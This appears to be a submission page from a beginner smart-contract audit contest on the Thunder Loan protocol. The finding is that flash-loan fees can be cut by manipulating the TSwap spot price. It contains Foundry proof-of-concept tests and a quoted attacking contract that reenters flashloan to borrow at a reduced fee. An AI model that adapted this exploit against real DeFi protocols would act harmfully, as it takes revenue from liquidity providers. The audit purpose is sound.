Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
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Submission Details
Severity: medium
Valid

Flash Loan Fee Is Oracle-Manipulable Via Instantaneous TSwap Spot Price

Root + Impact

Description

  • Flash-loan fees should be computed from a price source that cannot be cheaply manipulated within the same transaction.

  • However, the protocol reads the token price directly from a single TSwap pool spot quote and immediately uses that value inside `getCalculatedFee()`. Because AMM spot prices are manipulable, an attacker can push the pool price down just

    before borrowing and make the fee calculation use the manipulated value instead of the honest market value.


    As a result, the attacker can take flash loans while paying only a tiny fraction of the intended fee, materially reducing protocol revenue and LP yield.

function getPriceInWeth(address token) public view returns (uint256) {
address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
@> return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
@> uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
@> fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}

Risk

Likelihood:

  • AMM spot prices are manipulable within a single transaction.

  • The protocol has no TWAP, no liquidity threshold, and no oracle freshness validation.

Impact:

  • Borrowers can drastically underpay flash-loan fees.

  • Protocol fee revenue is bypassed.

  • LP returns are reduced and the economic assumptions of the protocol break.

Proof of Concept

This PoC compares the honest fee to the manipulated fee.
First, the test deploys ThunderLoan against a mutable pool factory and calculates the normal flash-loan fee
using the pool's original price. Then it lowers the pool price before calling `flashloan()`. Because the
protocol reads a raw spot price, `getCalculatedFee()` now returns a much smaller fee. The flash loan succeeds
using that manipulated fee, proving the borrower can reduce what should have been paid.
In the PoC, the honest fee is computed first, then the price is changed so that the manipulated fee becomes only
`3000`, which is far below the intended value.
function test_oracleManipulationCanZeroOutFlashLoanFees() public {
ThunderLoan localThunderLoanImplementation = new ThunderLoan();
MutablePoolFactory localPoolFactory = new MutablePoolFactory();
ERC20Mock localToken = new ERC20Mock();
address pool = localPoolFactory.createPool(address(localToken));
ERC1967Proxy localProxy = new ERC1967Proxy(address(localThunderLoanImplementation), "");
ThunderLoan localThunderLoan = ThunderLoan(address(localProxy));
localThunderLoan.initialize(address(localPoolFactory));
localThunderLoan.setAllowedToken(IERC20(address(localToken)), true);
localToken.mint(liquidityProvider, DEPOSIT_AMOUNT);
vm.startPrank(liquidityProvider);
localToken.approve(address(localThunderLoan), DEPOSIT_AMOUNT);
localThunderLoan.deposit(IERC20(address(localToken)), DEPOSIT_AMOUNT);
vm.stopPrank();
uint256 honestFee = localThunderLoan.getCalculatedFee(IERC20(address(localToken)), FLASH_LOAN_AMOUNT);
MutablePool(pool).setPrice(10_000);
uint256 manipulatedFee = localThunderLoan.getCalculatedFee(IERC20(address(localToken)), FLASH_LOAN_AMOUNT);
RepayOnlyReceiver receiver = new RepayOnlyReceiver(localThunderLoan);
localToken.mint(address(receiver), manipulatedFee);
localThunderLoan.flashloan(address(receiver), IERC20(address(localToken)), FLASH_LOAN_AMOUNT, "");
assertLt(manipulatedFee, honestFee);
assertEq(manipulatedFee, 3_000);
}

Recommended Mitigation

The fee calculation should not depend on a single-block AMM spot read. Instead, it should use a
manipulation-resistant oracle so an attacker cannot cheaply alter the fee immediately before borrowing.
A robust fix is to replace the TSwap spot price with a trusted oracle such as Chainlink, or at minimum a
sufficiently long TWAP combined with liquidity and staleness checks. The key requirement is that
`getCalculatedFee()` must use a price that cannot be moved significantly within the same transaction by the
borrower.
function getPriceInWeth(address token) public view returns (uint256) {
- address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
- return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
+ return _getValidatedOraclePrice(token);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Attacker can minimize `ThunderLoan::flashloan` fee via price oracle manipulation

## Vulnerability details In `ThunderLoan::flashloan` the price of the `fee` is calculated on [line 192](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L192) using the method `ThunderLoan::getCalculatedFee`: ```solidity uint256 fee = getCalculatedFee(token, amount); ``` ```solidity function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) { //slither-disable-next-line divide-before-multiply uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; //slither-disable-next-line divide-before-multiply fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision; } ``` `getCalculatedFee()` uses the function `OracleUpgradeable::getPriceInWeth` to calculate the price of a single underlying token in WETH: ```solidity function getPriceInWeth(address token) public view returns (uint256) { address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token); return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); } ``` This function gets the address of the token-WETH pool, and calls `TSwapPool::getPriceOfOnePoolTokenInWeth` on the pool. This function's behavior is dependent on the implementation of the `ThunderLoan::initialize` argument `tswapAddress` but it can be assumed to be a constant product liquidity pool similar to Uniswap. This means that the use of this price based on the pool reserves can be subject to price oracle manipulation. If an attacker provides a large amount of liquidity of either WETH or the token, they can decrease/increase the price of the token with respect to WETH. If the attacker decreases the price of the token in WETH by sending a large amount of the token to the liquidity pool, at a certain threshold, the numerator of the following function will be minimally greater (not less than or the function will revert, see below) than `s_feePrecision`, resulting in a minimal value for `valueOfBorrowedToken`: ```solidity uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; ``` Since a value of `0` for the `fee` would revert as `assetToken.updateExchangeRate(fee);` would revert since there is a check ensuring that the exchange rate increases, which with a `0` fee, the exchange rate would stay the same, hence the function will revert: ```solidity function updateExchangeRate(uint256 fee) external onlyThunderLoan { // 1. Get the current exchange rate // 2. How big the fee is should be divided by the total supply // 3. So if the fee is 1e18, and the total supply is 2e18, the exchange rate be multiplied by 1.5 // if the fee is 0.5 ETH, and the total supply is 4, the exchange rate should be multiplied by 1.125 // it should always go up, never down // newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply // newExchangeRate = 1 (4 + 0.5) / 4 // newExchangeRate = 1.125 uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply(); // newExchangeRate = s_exchangeRate + fee/totalSupply(); if (newExchangeRate <= s_exchangeRate) { revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate); } s_exchangeRate = newExchangeRate; emit ExchangeRateUpdated(s_exchangeRate); } ``` `flashloan()` can be reentered on [line 201-210](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L201-L210): ```solidity receiverAddress.functionCall( abi.encodeWithSignature( "executeOperation(address,uint256,uint256,address,bytes)", address(token), amount, fee, msg.sender, params ) ); ``` This means that an attacking contract can perform an attack by: 1. Calling `flashloan()` with a sufficiently small value for `amount` 2. Reenter the contract and perform the price oracle manipulation by sending liquidity to the pool during the `executionOperation` callback 3. Re-calling `flashloan()` this time with a large value for `amount` but now the `fee` will be minimal, regardless of the size of the loan. 4. Returning the second and the first loans and withdrawing their liquidity from the pool ensuring that they only paid two, small `fees for an arbitrarily large loan. ## Impact An attacker can reenter the contract and take a reduced-fee flash loan. Since the attacker is required to either: 1. Take out a flash loan to pay for the price manipulation: This is not financially beneficial unless the amount of tokens required to manipulate the price is less than the reduced fee loan. Enough that the initial fee they pay is less than the reduced fee paid by an amount equal to the reduced fee price. 2. Already owning enough funds to be able to manipulate the price: This is financially beneficial since the initial loan only needs to be minimally small. The first option isn't financially beneficial in most circumstances and the second option is likely, especially for lower liquidity pools which are easier to manipulate due to lower capital requirements. Therefore, the impact is high since the liquidity providers should be earning fees proportional to the amount of tokens loaned. Hence, this is a high-severity finding. ## Proof of concept ### Working test case The attacking contract implements an `executeOperation` function which, when called via the `ThunderLoan` contract, will perform the following sequence of function calls: - Calls the mock pool contract to set the price (simulating manipulating the price) - Repay the initial loan - Re-calls `flashloan`, taking a large loan now with a reduced fee - Repay second loan ```solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { MockTSwapPool } from "./MockTSwapPool.sol"; import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol"; contract AttackFlashLoanReceiver { error AttackFlashLoanReceiver__onlyOwner(); error AttackFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; uint256 public attackAmount = 1e20; uint256 public attackFee1; uint256 public attackFee2; address tSwapPool; IERC20 tokenA; constructor(address thunderLoan, address _tSwapPool, IERC20 _tokenA) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; tSwapPool = _tSwapPool; tokenA = _tokenA; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata params ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); // check if it is the first time through the reentrancy bool isFirst = abi.decode(params, (bool)); if (isFirst) { // Manipulate the price MockTSwapPool(tSwapPool).setPrice(1e15); // repay the initial, small loan IERC20(token).approve(s_thunderLoan, attackFee1 + 1e6); IThunderLoan(s_thunderLoan).repay(address(tokenA), 1e6 + attackFee1); ThunderLoan(s_thunderLoan).flashloan(address(this), tokenA, attackAmount, abi.encode(false)); attackFee1 = fee; return true; } else { attackFee2 = fee; // simulate withdrawing the funds from the price pool //MockTSwapPool(tSwapPool).setPrice(1e18); // repay the second, large low fee loan IERC20(token).approve(s_thunderLoan, attackAmount + attackFee2); IThunderLoan(s_thunderLoan).repay(address(tokenA), attackAmount + attackFee2); return true; } } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } } ``` The following test first calls `flashloan()` with the attacking contract, the `executeOperation()` callback then executes the attack. ```solidity function test_poc_smallFeeReentrancy() public setAllowedToken hasDeposits { uint256 price = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price before: ", price); // borrow a large amount to perform the price oracle manipulation uint256 amountToBorrow = 1e6; bool isFirstCall = true; bytes memory params = abi.encode(isFirstCall); uint256 expectedSecondFee = thunderLoan.getCalculatedFee(tokenA, attackFlashLoanReceiver.attackAmount()); // Give the attacking contract reserve tokens for the price oracle manipulation & paying fees // For a less funded attacker, they could use the initial flash loan to perform the manipulation but pay a higher initial fee tokenA.mint(address(attackFlashLoanReceiver), AMOUNT); vm.startPrank(user); thunderLoan.flashloan(address(attackFlashLoanReceiver), tokenA, amountToBorrow, params); vm.stopPrank(); assertGt(expectedSecondFee, attackFlashLoanReceiver.attackFee2()); uint256 priceAfter = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price after: ", priceAfter); console.log("expectedSecondFee: ", expectedSecondFee); console.log("attackFee2: ", attackFlashLoanReceiver.attackFee2()); console.log("attackFee1: ", attackFlashLoanReceiver.attackFee1()); } ``` ```bash $ forge test --mt test_poc_smallFeeReentrancy -vvvv // output Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest [PASS] test_poc_smallFeeReentrancy() (gas: 1162442) Logs: price before: 1000000000000000000 price after: 1000000000000000 expectedSecondFee: 300000000000000000 attackFee2: 300000000000000 attackFee1: 3000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.52ms ``` Since the test passed, the fee has been successfully reduced due to price oracle manipulation. ## Recommended mitigation Use a manipulation-resistant oracle such as Chainlink.

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